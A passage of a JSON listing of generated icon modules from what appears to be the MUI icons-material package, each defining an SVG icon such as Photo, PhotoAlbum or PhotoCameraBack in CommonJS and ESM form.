1.46c.12.21.38.31.61.22l1.01-.39-.01-.04c.25.19.51.36.8.48l.17 1.07c.03.25.24.43.49.43h1.68c.25 0 .46-.18.49-.42zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 1v5h2V4h10v16H9v-2H7v5h14V1zm2.5 14.5c.29-.12.55-.29.8-.48l-.02.03 1.41.55 1.27-2.2-1.18-.95-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03 1.18-.95-1.26-2.2-1.41.55.02.03c-.26-.19-.52-.36-.81-.48L9.27 7H6.73L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03L4.3 8.4l-1.27 2.2 1.18.95.02-.03c-.01.16-.04.32-.04.48s.03.32.05.48l-.02-.03-1.18.95 1.27 2.2 1.41-.55-.02-.03c.25.19.51.36.8.48l.23 1.5h2.54zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 1v5h2V4h10v16H9v-2H7v5h14V1zm2.5 14.5c.29-.12.55-.29.8-.48l-.02.03 1.41.55 1.27-2.2-1.18-.95-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03 1.18-.95-1.26-2.2-1.41.55.02.03c-.26-.19-.52-.36-.81-.48L9.27 7H6.73L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03L4.3 8.4l-1.27 2.2 1.18.95.02-.03c-.01.16-.04.32-.04.48s.03.32.05.48l-.02-.03-1.18.95 1.27 2.2 1.41-.55-.02-.03c.25.19.51.36.8.48l.23 1.5h2.54zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2m2.5 12.5c.29-.12.55-.29.8-.48l-.02.03 1.01.39c.23.09.49 0 .61-.22l.84-1.46c.12-.21.07-.49-.12-.64l-.85-.68-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03.85-.68c.19-.15.24-.43.12-.64l-.84-1.46c-.12-.21-.38-.31-.61-.22l-1.01.39.02.03c-.25-.17-.51-.34-.8-.46l-.17-1.08C9.3 7.18 9.09 7 8.84 7H7.16c-.25 0-.46.18-.49.42L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03-1.02-.39c-.23-.09-.49 0-.61.22l-.84 1.46c-.12.21-.07.49.12.64l.85.68.02-.03c-.02.15-.05.31-.05.47s.03.32.05.48l-.02-.03-.85.68c-.19.15-.24.43-.12.64l.84 1.46c.12.21.38.31.61.22l1.01-.39-.01-.04c.25.19.51.36.8.48l.17 1.07c.03.25.24.43.49.43h1.68c.25 0 .46-.18.49-.42zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2m2.5 12.5c.29-.12.55-.29.8-.48l-.02.03 1.01.39c.23.09.49 0 .61-.22l.84-1.46c.12-.21.07-.49-.12-.64l-.85-.68-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03.85-.68c.19-.15.24-.43.12-.64l-.84-1.46c-.12-.21-.38-.31-.61-.22l-1.01.39.02.03c-.25-.17-.51-.34-.8-.46l-.17-1.08C9.3 7.18 9.09 7 8.84 7H7.16c-.25 0-.46.18-.49.42L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03-1.02-.39c-.23-.09-.49 0-.61.22l-.84 1.46c-.12.21-.07.49.12.64l.85.68.02-.03c-.02.15-.05.31-.05.47s.03.32.05.48l-.02-.03-.85.68c-.19.15-.24.43-.12.64l.84 1.46c.12.21.38.31.61.22l1.01-.39-.01-.04c.25.19.51.36.8.48l.17 1.07c.03.25.24.43.49.43h1.68c.25 0 .46-.18.49-.42zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H2v13H0v3h14v-3H4zm20 2h-8v12h8zm-2 9h-4v-7h4z\"\n}), 'PhonelinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H2v13H0v3h14v-3H4zm20 2h-8v12h8zm-2 9h-4v-7h4z\"\n}), 'PhonelinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10h4v7h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}, \"1\")], 'PhonelinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10h4v7h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}, \"1\")], 'PhonelinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Photo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'Photo');"
  },
  {
    "path": "packages/mui-icons-material/lib/Photo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'Photo');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbum.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 2h5v7l-2.5-1.5L11 11zM7 18l2.38-3.17L11 17l2.62-3.5L17 18z\"\n}), 'PhotoAlbum');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbum.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 2h5v7l-2.5-1.5L11 11zM7 18l2.38-3.17L11 17l2.62-3.5L17 18z\"\n}), 'PhotoAlbum');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V4h5v7l2.5-1.5L16 11V4h2zm-4.38-6.5L17 18H7l2.38-3.17L11 17z\"\n}), 'PhotoAlbumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V4h5v7l2.5-1.5L16 11V4h2zm-4.38-6.5L17 18H7l2.38-3.17L11 17z\"\n}), 'PhotoAlbumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2.76 8.55L13.5 9.5l-1.74 1.05c-.33.2-.76-.04-.76-.43V4h5v6.12c0 .39-.42.63-.76.43M7.6 17.2l1.38-1.83c.2-.27.6-.27.8 0L11 17l2.23-2.97c.2-.27.6-.27.8 0l2.38 3.17c.25.33.01.8-.4.8H8c-.41 0-.65-.47-.4-.8\"\n}), 'PhotoAlbumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2.76 8.55L13.5 9.5l-1.74 1.05c-.33.2-.76-.04-.76-.43V4h5v6.12c0 .39-.42.63-.76.43M7.6 17.2l1.38-1.83c.2-.27.6-.27.8 0L11 17l2.23-2.97c.2-.27.6-.27.8 0l2.38 3.17c.25.33.01.8-.4.8H8c-.41 0-.65-.47-.4-.8\"\n}), 'PhotoAlbumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4v20h16zm-9 2h5v7l-2.5-1.5L11 11zM7 18l2.38-3.17L11 17l2.62-3.5L17 18z\"\n}), 'PhotoAlbumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4v20h16zm-9 2h5v7l-2.5-1.5L11 11zM7 18l2.38-3.17L11 17l2.62-3.5L17 18z\"\n}), 'PhotoAlbumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4v7l-2.5-1.5L11 11V4H6v16h12V4zM7 18l2.38-3.17L11 17l2.62-3.5L17 18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V4h5v7l2.5-1.5L16 11V4h2zm-4.38-6.5L17 18H7l2.38-3.17L11 17z\"\n}, \"1\")], 'PhotoAlbumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoAlbumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4v7l-2.5-1.5L11 11V4H6v16h12V4zM7 18l2.38-3.17L11 17l2.62-3.5L17 18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V4h5v7l2.5-1.5L16 11V4h2zm-4.38-6.5L17 18H7l2.38-3.17L11 17z\"\n}, \"1\")], 'PhotoAlbumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCamera.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2 7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'PhotoCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCamera.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2 7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'PhotoCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2h3.17L9 3h6l1.83 2zm0 14V7H4v12zm-6-7-3 3.72L9 13l-3 4h12z\"\n}), 'PhotoCameraBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2h3.17L9 3h6l1.83 2zm0 14V7H4v12zm-6-7-3 3.72L9 13l-3 4h12z\"\n}), 'PhotoCameraBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.25 16 9 13l-3 4h12l-3.75-5z\"\n}, \"1\")], 'PhotoCameraBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.25 16 9 13l-3 4h12l-3.75-5z\"\n}, \"1\")], 'PhotoCameraBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.47.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 12H7c-.41 0-.65-.47-.4-.8l2-2.67c.2-.27.6-.27.8 0L11.25 16l2.6-3.47c.2-.27.6-.27.8 0l2.75 3.67c.25.33.01.8-.4.8\"\n}), 'PhotoCameraBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.47.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3 12H7c-.41 0-.65-.47-.4-.8l2-2.67c.2-.27.6-.27.8 0L11.25 16l2.6-3.47c.2-.27.6-.27.8 0l2.75 3.67c.25.33.01.8-.4.8\"\n}), 'PhotoCameraBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM6 17l3-4 2.25 3 3-4L18 17z\"\n}), 'PhotoCameraBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM6 17l3-4 2.25 3 3-4L18 17z\"\n}), 'PhotoCameraBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.95 7-1.83-2H9.88L8.05 7H4v12h16V7zM6 17l3-4 2.25 3 3-4L18 17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20zm-8.75-3L9 13l-3 4h12l-3.75-5z\"\n}, \"1\")], 'PhotoCameraBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraBackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.95 7-1.83-2H9.88L8.05 7H4v12h16V7zM6 17l3-4 2.25 3 3-4L18 17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20zm-8.75-3L9 13l-3 4h12l-3.75-5z\"\n}, \"1\")], 'PhotoCameraBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFront.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 10.48 4-3.98v11l-4-3.98V18c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2zm-2-.79V6H4v12h12zM10 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m0 1c1.34 0 4 .67 4 2v1H6v-1c0-1.33 2.66-2 4-2\"\n}), 'PhotoCameraFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhotoCameraFront.mjs",
